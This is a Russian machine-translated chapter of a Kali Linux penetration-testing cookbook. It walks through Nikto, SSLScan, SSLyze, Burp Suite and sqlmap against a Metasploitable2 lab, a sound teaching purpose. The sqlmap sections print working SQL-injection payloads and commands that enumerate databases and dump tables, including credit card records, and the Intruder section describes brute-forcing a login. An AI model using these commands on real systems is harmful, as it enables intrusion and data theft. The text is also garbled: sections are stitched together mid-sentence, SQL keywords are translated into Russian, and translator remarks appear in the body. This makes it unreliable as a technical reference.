1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-kali-linux-network-scanning-cookbook-zh

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
Клонировать/Скачать
ch7.md 66 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 20:48 483ccac

/doc/ directory is browsable. Это может быть /usr/ doc.

  • OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP раскрывает потенциально чувствительную информацию через определённые HTTP-запросы, содержащие конкретные строки QUERY.
  • OSVDB-3092: /phpMyAdmin/: phpMyAdmin предназначен для управления базами данных MySQL и должен быть защищён или ограничен авторизованными хостами.
  • OSVDB-3268: /test/: Обнаружено индексирование каталога.
  • OSVDB-3092: /test/: Это может быть интересно...
  • OSVDB-3268: /icons/: Обнаружено индексирование каталога.
  • OSVDB-3233: /icons/README: Найден файл Apache по умолчанию.
  • Проверено 6448 элементов: 1 ошибка(и) и 13 элемент(ов) сообщено на удалённом хосте
  • Время окончания: 2014-03-29 23:55:00 (32 секунды)

  • Протестирован 1 хост(а).

Результаты сканирования Nikto Metasploitable2 показывают некоторые часто идентифицируемые проекты. Эти проекты включают опасные HTTP-методы, файлы установки по умолчанию, раскрытые каталоги, чувствительную информацию и файлы, доступ к которым должен быть ограничен. Обратите внимание, что эти файлы обычно очень полезны для получения доступа к серверу и поиска уязвимостей сервера.

Принцип работы

Nikto выявляет потенциальные подозрительные файлы, ссылаясь на robots.txt, сканируя веб-страницы и просматривая содержимое, которое содержит чувствительную информацию, уязвимости или должно быть ограничено известными списками файлов из-за их природы или функций, которые они представляют.

7.2 Использование SSLScan для сканирования SSL/TLS

SSLScan — это интегрированный инструмент командной строки в Kali, используемый для оценки безопасности SSL/TLS удалённого веб-сервиса. В этом секрете мы обсудим, как выполнить анализ SSL/TLS для веб-приложения с помощью SSLScan, а также как интерпретировать или действовать в соответствии с результатами вывода.

Подготовка

Чтобы использовать SSLScan для анализа SSL/TLS целевого объекта, вам необходимо иметь доступ к системе, которая запускает одно или несколько веб-приложений. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 имеет множество предустановленных уязвимых веб-приложений, работающих на TCP-порту 80. Для получения дополнительной информации о настройке Metasploitable2 см. главу 1 «Установка Metasploitable2».

Шаги операции

SSLScan является эффективным инструментом для проведения краткого анализа конфигурации SSL/TLS на целевом веб-сервере. Чтобы выполнить базовое сканирование домена с веб-службой, просто передайте доменное имя в качестве параметра, например:

root@KaliLinux:~# sslscan google.com
                   _
           ___ ___| |___  ___ __ _ _ __ 
          / __/ __| / __|/ __/ _` | '_ \
          \__ \__ \ \__ \ (_| (_| | | | |
          |___/___/_|___/\___\__,_|_| |_|
                  
                  Version 1.8.2
            http://www.titania.co.uk
       Copyright Ian Ventura-Whiting 2009
       
Testing SSL server google.com on port 443  
  Supported Server Cipher(s):    
    Failed    SSLv3  256 bits  ECDHE-RSA-AES256-GCM-SHA384    
    Failed    SSLv3  256 bits  ECDHE-ECDSA-AES256-GCM-SHA384    
    Failed    SSLv3  256 bits  ECDHE-RSA-AES256-SHA384    
    Failed    SSLv3  256 bits  ECDHE-ECDSA-AES256-SHA384    
    Accepted  SSLv3  256 bits  ECDHE-RSA-AES256-SHA    
    Rejected  SSLv3  256 bits  ECDHE-ECDSA-AES256-SHA    
    Rejected  SSLv3  256 bits  SRP-DSS-AES-256-CBC-SHA    
    Rejected  SSLv3  256 bits  SRP-RSA-AES-256-CBC-SHA    
    Failed    SSLv3  256 bits  DHE-DSS-AES256-GCM-SHA384    
    Failed    SSLv3  256 бит DHE-RSA-AES256-GCM-SHA384
    Failed    SSLv3  256 бит DHE-RSA-AES256-SHA256    
    Failed    SSLv3  256 бит DHE-DSS-AES256-SHA256    
    Rejected  SSLv3  256 бит DHE-RSA-AES256-SHA    
    Rejected  SSLv3  256 бит DHE-DSS-AES256-SHA    
    Rejected  SSLv3  256 бит DHE-RSA-CAMELLIA256-SHA    
    Rejected  SSLv3  256 бит DHE-DSS-CAMELLIA256-SHA 
                            ** {TRUNCATED} **

Во время выполнения SSLScan быстро сканирует соединения с целевым сервером и перечисляет принятые шифры, предпочтительные семейства шифров и информацию о сертификатах SSL. Вы можете использовать grep для поиска нужной информации в выводе. В следующем примере grep используется только для просмотра принятых шифров.

root@KaliLinux:~# sslscan google.com | grep Accepted    
    Accepted  SSLv3  256 бит ECDHE-RSA-AES256-SHA    
    Accepted  SSLv3  256 бит AES256-SHA    
    Accepted  SSLv3  168 бит ECDHE-RSA-DES-CBC3-SHA    
    Accepted  SSLv3  168 бит DES-CBC3-SHA    
    Accepted  SSLv3  128 бит ECDHE-RSA-AES128-SHA    
    Accepted  SSLv3  128 бит AES128-SHA    
    Accepted  SSLv3  128 бит ECDHE-RSA-RC4-SHA    
    Accepted  SSLv3  128 бит RC4-SHA    
    Accepted  SSLv3  128 бит RC4-MD5    
    Accepted  TLSv1  256 бит ECDHE-RSA-AES256-SHA    
    Accepted  TLSv1  256 бит AES256-SHA    
    Accepted  TLSv1  168 бит ECDHE-RSA-DES-CBC3-SHA    
    Accepted  TLSv1  168 бит DES-CBC3-SHA    
    Accepted  TLSv1  128 бит ECDHE-RSA-AES128-SHA    
    Accepted  TLSv1  128 бит AES128-SHA    
    Accepted  TLSv1  128 бит ECDHE-RSA-RC4-SHA    
    Accepted  TLSv1  128 бит RC4-SHA    
    Accepted  TLSv1  128 бит RC4-MD5 

Несколько функций grep можно использовать для дальнейшей фильтрации вывода. Используя несколько каналов запросов grep, вывод в следующем примере ограничен 256-битными шифрами, которые могут быть приняты сервером. Перевод текста с английского на русский язык:

ECDHE-RSA-AES256-SHA384 256 бит

ECDHE-RSA-AES256-SHA 256 бит

ECDHE-RSA-AES256-GCM-SHA384256 бит

AES256-SHA256 256 бит

AES256-SHA 256 бит

AES256-GCM-SHA384 256 бит

SSLyze поддерживает такую важную функцию, как тестирование сжатия Zlib. Если сжатие включено, это напрямую влияет на утечку информации, известную как Compression Ratio Info-leak Made Easy (CRIME). Этот тест можно выполнить с помощью параметра --comprision:

root@KaliLinux:~# sslyze google.com --compression

CHECKING HOST(S) AVAILABILITY

google.com:443 => 173.194.43.40:443

SCAN RESULTS FOR GOOGLE.COM:443 - 173.194.43.40:443 --------------------------------------------------

  • Compression : Compression Support: Disabled ** {TRUNCATED} **

### Принцип работы

SSL/TLS сессии обычно устанавливаются через согласование между клиентом и сервером. Эти согласования учитывают параметры шифрования, настроенные на каждом конце, и пытаются определить наиболее безопасный вариант, поддерживаемый обеими сторонами. Принцип работы SSLyze заключается в переборе известного списка шифров и длин ключей и попытке использовать каждую конфигурацию для согласования сеанса с удаленным сервером. Это позволяет SSLyze перечислять поддерживаемые шифры и ключи.

## 7.4 Использование BurpSuite для определения целей веб-приложения

При выполнении тестирования на проникновение очень важно убедиться, что ваша атака направлена только на целевую систему. Атака на дополнительные цели может привести к юридическим проблемам. Чтобы минимизировать потери, определение вашего диапазона в Burp Suite имеет решающее значение. В этом секрете мы обсудим, как использовать BurpSuite для определения целей в вашем диапазоне.

### Подготовка

Чтобы использовать BurpSuite для анализа веб-приложений на цели, вам необходимо иметь удаленную систему, на которой запущено одно или несколько веб-приложений. В приведенном примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 имеет множество предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 обратитесь к разделу «Установка Metasploitable2» в первой главе.

Кроме того, вашему веб-браузеру необходимо настроить проксирование трафика через локальный экземпляр BurpSuite. Дополнительную информацию о том, как использовать BurpSuite в качестве прокси-сервера браузера, см. в разделе «Настройка BurpSuite» первой главы.

### Порядок действий

Самая левая вкладка в BurpSuite — это «Цель». Под этой вкладкой есть две вкладки: «Карта сайта» и «Область действия». Когда вы посещаете веб-сайт через проксированный веб-браузер, карта сайта заполняется автоматически. Вкладка «Область действия» позволяет пользователю настраивать сайт и его содержимое, включая или исключая сайт. Чтобы добавить новый сайт в область оценки, нажмите кнопку «Добавить» под таблицей «Включить в область действия»:

![](img/7-4-1.jpg)

Добавленный контент обычно представляет собой диапазон IP-адресов или определяется отдельным файлом. Параметр «Протокол» отображает раскрывающийся список, включающий ANY, HTTP, HTTPS. Поле «Хост или диапазон IP» может содержать отдельное имя хоста, отдельный IP-адрес или диапазон IP-адресов. Кроме того, существуют текстовые поля «Порт» и «Файл». Поля могут быть оставлены пустыми или использоваться для указания диапазона. Поля должны быть заполнены регулярными выражениями. В представленном примере символом начала регулярного выражения является символ вставки (`^`), знак доллара используется для закрытия регулярного выражения, а обратная косая черта используется для экранирования специальных символов `.`, которые используются для разделения сегментов IP-адреса. Регулярные выражения выходят за рамки этой книги, но многие онлайн-ресурсы объясняют их использование. Вы можете посетить `http://www.regularexpressions.info/` чтобы ознакомиться с регулярными выражениями.

### Принцип работы

Регулярные выражения логически определяют условия, указывая, какие файлы включены в хост, порт или диапазон. Определение области оценки повлияет на то, как она будет действовать при взаимодействии с веб-контентом. Конфигурация BurpSuite определяет, что можно делать в пределах диапазона, а что нельзя, вне диапазона.

## 7.5 Использование BurpSuite Spider

Для эффективного предоставления веб-приложений очень важно понимать веб-содержимое, размещенное на сервере. Можно использовать методы разведки для изучения всего спектра атак веб-приложения. Инструмент Spider можно использовать для быстрого выявления ссылок на контент, на который ссылается веб-приложение. В этом секрете мы поговорим о том, как использовать BurpSuite для сканирования веб-приложений для идентификации содержимого в вашем диапазоне.

### Подготовка

Чтобы использовать BurpSuite для анализа веб-приложений на цели, вам необходимо иметь удаленную систему, на которой запущено одно или несколько веб-приложений. В представленном примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 имеет множество предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 обратитесь к разделу «Установка Metasploitable2» в первой главе.

Кроме того, ваш веб-браузер должен быть настроен на проксирование трафика через локальный экземпляр BurpSuite. Дополнительную информацию об использовании BurpSuite в качестве прокси-сервера браузера см. в разделе «Настройка BurpSuite» первой главы.

### Порядок действий

Чтобы автоматизировать сканирование содержимого, определенного в вашей области, щелкните вкладку «Паук» в верхней части экрана. Ниже будут две дополнительные вкладки, включая «Управление» и «Параметры». Вкладка «Параметры» позволяет пользователям настраивать способ сканирования пауком. Сюда входят подробные настройки, глубина, ограничения, отправка форм и другие. Важно тщательно настроить автоматизацию паука, поскольку он будет отправлять запросы всему веб-контенту в вашем диапазоне. Это может нарушить или даже повредить некоторые веб-материалы. Как только это будет сделано, вкладку «Управление» можно использовать для выбора запуска автоматического сканирования. Обычно вкладка «Паук» приостановлена, нажатие кнопки запустит паука. Карта сайта под вкладкой «Цель» будет автоматически обновляться во время процесса сканирования паука:

![](img/7-5-1.jpg)

В зависимости от конфигурации, которую вы определили для любого процесса сканирования, BurpSuite запросит вашу реакцию на любую форму, с которой сталкивается процесс сканирования. Введите необходимые параметры формы или используйте кнопку «Игнорировать форму», чтобы пропустить форму:

![](img/7-5-2.jpg)

Вместо этого вы можете щелкнуть правой кнопкой мыши конкретный объект на карте сайта, а затем нажать «Паук», чтобы начать сканирование с определенного местоположения. Это рекурсивно сканирует выбранный объект и любой файл или каталог, который он содержит. Вот так:

![](img/7-5-3.jpg)

### Принцип работы

Принцип работы инструмента BurpSuite Spider заключается в анализе всего известного HTML-контента и извлечении ссылок на другой контент. Содержимое ссылки впоследствии используется для анализа содержащегося в ней другого содержимого ссылки. Этот процесс будет продолжаться бесконечно, ограничиваясь только количеством доступного содержимого ссылки, указанной глубиной и количеством текущих потоков обработки дополнительных запросов.

## 7.6 Использование инструментов участия BurpSuite

BurpSuite также имеет инструменты для сбора и анализа основной информации и целей. Эти инструменты называются инструментами участия. В этом секрете мы расскажем, как использовать эти дополнительные инструменты участия в BurpSuite для сбора или организации информации о цели.

### Подготовка

Чтобы использовать BurpSuite для анализа веб-приложений на цели, вам необходимо иметь удаленную систему, на которой запущено одно или несколько веб-приложений. В представленном примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 имеет множество предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 обратитесь к разделу «Установка Metasploitable2» в первой главе.

Кроме того, ваш веб-браузер должен быть настроен для проксирования трафика через локальный экземпляр BurpSuite. Дополнительную информацию об использовании BurpSuite в качестве прокси-сервера браузера см. в разделе «Настройка BurpSuite» первой главы.

### Порядок действий

Инструменты участия можно получить, выбрав любой объект на карте почтовых сайтов, а затем развернув расширение и выбрав нужный инструмент. Обычно выбранный инструмент участия рекурсивно определяет местоположение выбранного объекта, включая все файлы и каталоги. Вот так:

![](img/7-6-1.jpg)

Мы подробно рассмотрим каждый инструмент в порядке их появления в меню. По организационным причинам я считаю, что лучше всего представить их в следующем порядке:

+ Поиск (Search): этот инструмент можно использовать для поиска терминов, фраз и регулярных выражений. Он возвращает любой HTTP-запрос, содержащий поисковый термин. **Запрос или ответ.** Для каждого возвращаемого проекта будет подсвечен искомый термин.

+  **Find comments (обнаружение комментариев)**: этот инструмент ищет комментарии в исходном коде JavaScript, HTML и других. Эти комментарии можно экспортировать для последующего изучения. Это может быть полезно, поскольку разработчики часто оставляют чувствительную информацию в комментариях.

+ **Find scripts (обнаружение скриптов)**: этот инструмент распознаёт скрипты на стороне клиента и сервера в веб-контенте.

+ **Find reference (обнаружение ссылок)**: этот инструмент анализирует HTML-код и определяет другие связанные ресурсы.

+ **Analyse target (анализ цели)**: этот инструмент идентифицирует динамический контент, статический контент и параметры, передаваемые с веб-контентом. Это полезно при организации тестирования веб-приложений, особенно тех, которые содержат большое количество параметров и динамического контента.

+ **Discover content (исследование содержимого)**: этот инструмент можно использовать для взлома каталогов и имён файлов путём циклического перебора слов из списка и известных расширений файлов.

+ **Schedule task (планирование задачи)**: этот инструмент позволяет пользователю устанавливать время и дату начала и остановки различных задач в BurpSuite.

+ **Simulate manual testing (имитация ручного тестирования)**: этот инструмент представляет собой способ имитации ручного анализа веб-сайта, позволяя вам пить кофе и есть печенье, пока он работает. На самом деле этот инструмент не имеет реальной функциональности, а скорее предназначен для того, чтобы запутать вашего начальника.

### Принцип работы
BurpSuite включает в себя множество инструментов, работающих по-разному в зависимости от используемого инструмента. Многие инструменты выполняют функции поиска и обнаружения определённой информации в полученных ответах. Инструмент Discover content использует циклический перебор определённых списков для исследования новых веб-ресурсов.

## 7.7 Использование BurpSuite в качестве веб-прокси
Хотя у BurpSuite есть много полезных инструментов, его основная функция — это прокси-сервер. Это означает, что BurpSuite перехватывает запросы и ответы и затем перенаправляет их к месту назначения. В этом разделе мы обсудим, как использовать BurpSuite для перехвата или записи запросов.

### Подготовка
Чтобы использовать BurpSuite для анализа веб-приложения, вам нужен удалённый компьютер с запущенным одним или несколькими веб-приложениями. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 содержит несколько предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 см. раздел «Установка Metasploitable2» в первой главе.

Кроме того, ваш веб-браузер должен быть настроен на использование BurpSuite в качестве прокси для веб-трафика. Дополнительную информацию о настройке BurpSuite в качестве браузера-прокси см. в разделе «Настройка BurpSuite» в первой главе.

### Шаги
BurpSuite можно использовать в пассивном режиме или в режиме перехвата. Если перехват отключён, все запросы и ответы будут просто записываться в окно «HTTP History». Вы можете выбрать их из списка, просмотреть их или изучить детали любого запроса или ответа.

В качестве альтернативы вы можете нажать кнопку «Intercept», чтобы перехватить трафик в процессе передачи. Эти запросы можно обрабатывать в окне «Proxy», а затем перенаправить к месту назначения или проигнорировать. Вы можете настроить перехват прокси-сервера, выбрав опцию «Options», чтобы определить типы запросов, которые должны быть перехвачены, или даже перехватывать ответы до того, как они достигнут браузера.

### Принцип работы
Прокси-сервер BurpSuite может перехватывать или пассивно записывать трафик, проходящий через браузер, поскольку он логически расположен между браузером и любой удалённой настройкой. Браузер настроен на отправку всех запросов через прокси-сервер Burp, который затем перенаправляет их на любой внешний хост. Благодаря этой конфигурации Burp может захватывать запросы и ответы в обоих направлениях или записывать всю коммуникацию между клиентом (браузером) и сервером.

## 7.8 Использование BurpSuite в качестве сканера веб-приложений
BurpSuite также можно использовать в качестве эффективного сканера уязвимостей веб-приложений. Эта функция может использоваться для пассивного анализа и активного сканирования. В этом разделе мы рассмотрим, как использовать BurpSuite для пассивного и активного сканирования уязвимостей.

### Подготовка
Для использования BurpSuite для анализа целевого веб-приложения вам необходим удалённый компьютер, на котором запущено одно или несколько веб-приложений. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 содержит несколько предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 см. раздел «Установка Metasploitable2» в первой главе.

Кроме того, ваш веб-браузер должен быть настроен на использование BurpSuite в качестве прокси для веб-трафика. Дополнительную информацию о настройке BurpSuite в качестве браузера-прокси см. в разделе «Настройка BurpSuite» в первой главе.

### Шаги
Обычно BurpSuite пассивно сканирует весь доступный веб-контент в диапазоне, который проходит через браузер при подключении к прокси. Термин «пассивное сканирование» относится к наблюдению BurpSuite за запросами и ответами, поступающими на сервер и с него, и обнаружению любых подозрительных признаков уязвимости в контенте. Пассивное сканирование не включает инъекцию или зондирование, а также другие попытки подтвердить подозрительные уязвимости.

Активное сканирование можно выполнить, щёлкнув правой кнопкой мыши любой объект на карте сайта или любой запрос в истории HTTP-прокси и выбрав «Активно сканировать эту ветвь» или «Выполнить активное сканирование».

Все результаты активного сканирования можно проверить, выбрав окно «Очередь сканирования» под «Сканером». Двойной щелчок по любому конкретному сканированию позволяет вам изучить конкретную находку, так как она принадлежит этому сканированию.

Активное сканирование можно настроить, выбрав «Параметры». Здесь вы можете определить тип сканирования, скорость сканирования и глубину сканирования.

### Принцип работы
Принцип работы пассивного сканера BurpSuite заключается в простой оценке трафика, проходящего через него между браузером и любым удалённым сервером. Это полезно для выявления некоторых очевидных уязвимостей, но недостаточно для подтверждения многих более серьёзных уязвимостей, существующих на сервере. Принцип работы активного сканера заключается в отправке серии зондов на идентифицированные параметры в запросе. Эти зонды могут использоваться для обнаружения многих распространённых уязвимостей веб-приложений, таких как обход каталога, XSS и SQL-инъекции.

## 7.9 Использование Burp Suite Intruder (вредителя)
Ещё один полезный инструмент в BurpSuite — Intruder. Этот инструмент выполняет быстрые атаки, отправляя большое количество запросов и манипулируя предопределёнными значениями полезной нагрузки в заданных позициях. Мы будем использовать BurpSuite Intruder, чтобы обсудить автоматизацию манипуляции содержимым запроса.

### Подготовка
Для использования BurpSuite для анализа целевого веб-приложения вам необходим удалённый компьютер, на котором запущено одно или несколько веб-приложений. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 содержит несколько предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 см. раздел «Установка Metasploitable2» в первой главе.

Кроме того, ваш веб-браузер должен быть настроен на использование BurpSuite в качестве прокси для веб-трафика. Дополнительную информацию о настройке BurpSuite в качестве браузера-прокси см. в разделе «Настройка BurpSuite» в первой главе.

### Шаги
Чтобы использовать BurpSuite Intruder, необходимо перехватить или записать запросы в историю прокси. После этого щёлкните правой кнопкой мыши запрос и выберите «Отправить в Intruder».

В приведённом ниже примере вход в приложение DVWA Brute Force содержит поля имени пользователя и пароля. После отправки в Intruder позиции полезной нагрузки можно установить в окне «Позиции». Чтобы попытаться взломать пароль администратора, необходимо установить только одну позицию полезной нагрузки — параметр «пароль».

После определения позиций полезной нагрузки, значения, которые будут внедрены, можно настроить в окне «Полезная нагрузка». Для проведения атаки по словарю можно использовать настраиваемый или встроенный список слов. В данном примере встроенный список «Пароли» используется для этой атаки.

Как только атака настроена, вы можете перейти в верхнее меню окна «Intruder» и нажать «Начать атаку». Это быстро отправит каждое значение, вставленное в позицию полезной нагрузки, и быстро отправит серию запросов. Чтобы определить, генерирует ли какой-либо запрос ответ, отличный от остальных, мы можем отсортировать результаты по длине. Это можно сделать, нажав на заголовок столбца «Длина» и отсортировав по убыванию длины. Таким образом, мы сможем идентифицировать ответ, связанный с длиной пароля (случайно это «пароль»). Успешная попытка входа будет дополнительно рассмотрена в следующем разделе, где мы обсудим использование Comparer.

### Принцип работы
Принцип работы BurpSuite Intruder заключается в автоматизации манипуляции полезной нагрузкой. Он позволяет пользователю указывать одну или несколько позиций полезной нагрузки в запросе, а затем предоставляет множество опций для настройки того, как эти значения будут вставлены в позиции полезной нагрузки. Они будут изменяться после каждой итерации. **Из запроса будет удалена. Это приведет к тому, что сервер будет генерировать новый идентификатор сессии для каждого запроса.** Таким образом, мы сможем получить образцы значений, которые можно использовать для завершения тестирования FIPS. Тестирование FIPS состоит из серии тестов, оценивающих энтропию сгенерированных псевдослучайных чисел. Все эти тесты представлены в графическом формате, который легко понять, например:

![](img/7-13-3.jpg)

Для точного и тщательного тестирования FIPS требуется в общей сложности 20 000 значений. Однако анализ может быть выполнен с использованием как минимум 100 значениями. Помимо выполнения захвата в реальном времени, можно использовать вкладку «Manual load» для загрузки или вставки списка значений для тестирования.

### Принцип работы
BurpSuite Sequencer выполняет множество различных математических оценок псевдослучайных числовых образцов, пытаясь определить их качество на основе энтропии сгенерированных случайных чисел. Захват в реальном времени используется для создания образцов значений путём отправки предварительно сконструированных запросов, что приводит к назначению сервером новых значений. Обычно это достигается путём удаления существующего значения Cookie из запроса, что приводит к предоставлению нового идентификатора сессии в форме заголовка протокола Set-Cookie.

## Использование sqlmap для внедрения GET-метода

Веб-приложения часто принимают параметры, указанные в URL-адресе. Эти параметры обычно передаются на сервер с помощью метода HTTP GET. Если какой-либо из этих параметров впоследствии включается в запрос к базе данных, существует вероятность наличия уязвимости SQL-инъекции. Мы обсудим, как использовать sqlmap для автоматизации тестирования параметров запроса GET.

### Подготовка
Чтобы использовать sqlmap для анализа веб-приложений на целевом сервере, вам необходимо иметь доступ к удалённой системе, на которой запущено одно или несколько веб-приложений. В приведённом примере мы используем экземпляр Metasploitable2 для выполнения задачи. Metasploitable2 содержит ряд предустановленных уязвимых веб-приложений, работающих на порту TCP 80. Для получения дополнительной информации о настройке Metasploitable2 см. раздел «Установка Metasploitable2» в первой главе.

### Шаги операции
Чтобы использовать sqlmap для тестирования параметров метода GET, вы должны использовать параметр -u и указать URL, который вы хотите протестировать. Этот URL должен содержать любой параметр метода GET. Кроме того, если содержимое веб-сайта защищено сеансом, вам также потребуется использовать параметр --cookie для предоставления соответствующего файла cookie сеанса.

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 ** {CUT} ** sqlmap идентифицировал следующие точки внедрения с общим количеством 279 HTTP(s) запросов:

Место: GET Параметр: id Тип: логическое слепое Заголовок: ИЛИ логическое слепое — предложение WHERE или HAVING Полезная нагрузка: id=-2345' ИЛИ (1644=1644) И 'moHu'='moHu&Submit=y

Тип: основанное на ошибке 
Заголовок: MySQL >= 5.0 И основанное на ошибках — предложение WHERE или HAVING

Полезная нагрузка: id=x' И (ВЫБЕРИТЕ 1537 ИЗ (ВЫБЕРИТЕ СЧЁТ (*), КОНКАТ (0x3a6b6f 683a, (ВЫБЕРИТЕ (СЛУЧАЙ, КОГДА (1537=1537) ТОГДА 1 ИНАЧЕ 0 КОНЕЦ)), 0x3a696a793a, FLO OR(RAND(0)*2))x ИЗ INFORMATION_SCHEMA.CHARACTER_SETS ГРУППА ПО x)a) И 'VHVT'='VHVT&Submit=y

Тип: UNION запрос 
Заголовок: MySQL UNION запрос (NULL) — 2 столбца 
Полезная нагрузка: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y

Тип: И/ИЛИ слепое по времени 
Заголовок: MySQL < 5.0.12 И слепое по времени (тяжёлый запрос) 
Полезная нагрузка: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y 

--

                        ** {TRUNCATED} ** 
В приведённом выше примере используются значение риска 3 и значение уровня 5. Эти значения определяют уровень риска и тщательность выполняемых тестов. Для получения дополнительных сведений о значениях риска и уровня обратитесь к странице руководства и файлу справки sqlmap. Во время выполнения теста sqlmap быстро определит, что бэкэнд-база данных является MySQL, и пропустит другие тесты. Если не указано иное, sqlmap просто проверит наличие уязвимостей в любом параметре, как в предыдущем примере. После серии попыток внедрения sqlmap определяет, что параметр ID имеет несколько типов уязвимостей SQL-инъекций. Подтвердив наличие уязвимости, sqlmap выполнит операцию для извлечения информации из базы данных бэкэнда.

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dbs ** {CUT} **

-- [03:38:00] [INFO] бэкэнд СУБД — MySQL веб-сервер операционной системы: Linux Ubuntu 8.04 (Hardy Heron) технология веб-приложения: PHP 5.2.4, Apache 2.2.8 бэкэнд СУБД: MySQL 5.0 [03:38:00] [INFO] получение имён баз данных [03:38:00] [WARNING] обнаружены рефлексивные значения и отфильтрованы доступные базы данных [7]: [] dvwa [] information_schema [] metasploit [] mysql [] owasp10 [] tikiwiki [*] tikiwiki195 ** {TRUNCATED} **

В приведённом выше примере параметр --dbs используется для перечисления всех доступных баз данных, к которым можно получить доступ через SQL-инъекцию. Исходя из названий, можно сделать вывод, что перечисленные базы данных напрямую связаны с приложением DVWA. Впоследствии мы можем напрямую воздействовать на базу данных. Чтобы извлечь имена всех таблиц в базе данных DVWA, мы можем использовать параметр --tables и указать требуемую базу данных с помощью параметра -D (dvwa).

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --tables -D dvwa ** {CUT} ** База данных: dvwa [2 таблицы] +-----------+ | guestbook | | users | +-----------+ ** {TRUNCATED} **

Таким образом, мы видим, что в базе данных DVWA есть две таблицы: guestbook и users. Таблица пользователей обычно заслуживает внимания, поскольку она часто содержит имена пользователей и связанные с ними хэши паролей. Чтобы извлечь информацию из определённой таблицы, мы можем использовать параметр --dump, а затем указать базу данных с параметром -D и таблицу с параметром -T. В запросе содержится описание процесса использования инструмента sqlmap для тестирования на уязвимости к SQL-инъекциям.

В тексте запроса есть таблица с данными пользователей, в которой содержатся следующие столбцы: user_id, user, avatar, password, last_name и first_name. Также в тексте описывается процесс работы sqlmap и его принцип действия.

**Принцип работы sqlmap**

Sqlmap — это инструмент командной строки, который автоматизирует процесс анализа веб-приложений на предмет уязвимостей к SQL-инъекциям. Он отправляет запросы, основанные на списке известных SQL-запросов, и анализирует ответы сервера для выявления уязвимостей. Sqlmap оптимизирован для работы с HTTP GET параметрами, но также может использоваться для анализа HTTP POST параметров.

Для использования sqlmap с HTTP POST параметрами необходимо указать параметры с помощью параметра --data. В качестве примера приводится использование sqlmap против Mutillidae, веб-приложения с уязвимостью к SQL-инъекции.

*Это перевод текста без учёта контекста.* В запросе используется язык программирования PHP и язык командной строки UNIX Shell.

Основной язык текста запроса — английский.

**Пример использования sqlmap для перечисления доступных баз данных и извлечения информации из них**

В примере используется инструмент sqlmap, который позволяет выполнять атаки SQL-инъекций на веб-приложения с целью обнаружения уязвимостей в системе безопасности.

php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dbs ** {CUT} ** available databases [7]: [] dvwa [] information_schema [] metasploit [] mysql [] owasp10 [] tikiwiki [*] tikiwiki195 ** {TRUNCATED} **


Здесь используется параметр `--dbs`, чтобы перечислить все доступные базы данных, к которым можно получить доступ через SQL-инъекцию. Затем можно выполнить операции с конкретной базой данных.

Чтобы извлечь имена всех таблиц в базе данных `owasp10`, можно использовать параметр `--tables` и указать базу данных с помощью параметра `-D`.

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --tables -D owasp10 ** {CUT} ** Database: owasp10 [6 tables] +----------------+ | accounts | | blogs_table | | captured_data | | credit_cards | | hitlog | | pen_test_tools | +----------------+ ** {TRUNCATED} **


Это позволяет увидеть, что в базе данных `owasp10` есть шесть таблиц.

Для извлечения содержимого конкретной таблицы можно использовать параметр `--dump` и указать таблицу с помощью параметра `-T`.

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dump -D owasp10 -T credit_cards ** {CUT} ** Database: owasp10 Table: credit_cards [5 entries] +------+-----+------------------+------------+ | ccid | ccv | ccnumber | expiration | +------+-----+------------------+------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+------------------+------------+ ** {TRUNCATED} **


Этот пример показывает, как можно извлечь содержимое таблицы `credit_cards` в базе данных `owasp10`.

### Принцип работы sqlmap

Sqlmap работает путём отправки запросов, основанных на большом количестве известных SQL-инъекционных запросов. Он был оптимизирован за последние несколько лет и может автоматически корректировать запросы на основе предыдущих ответов.

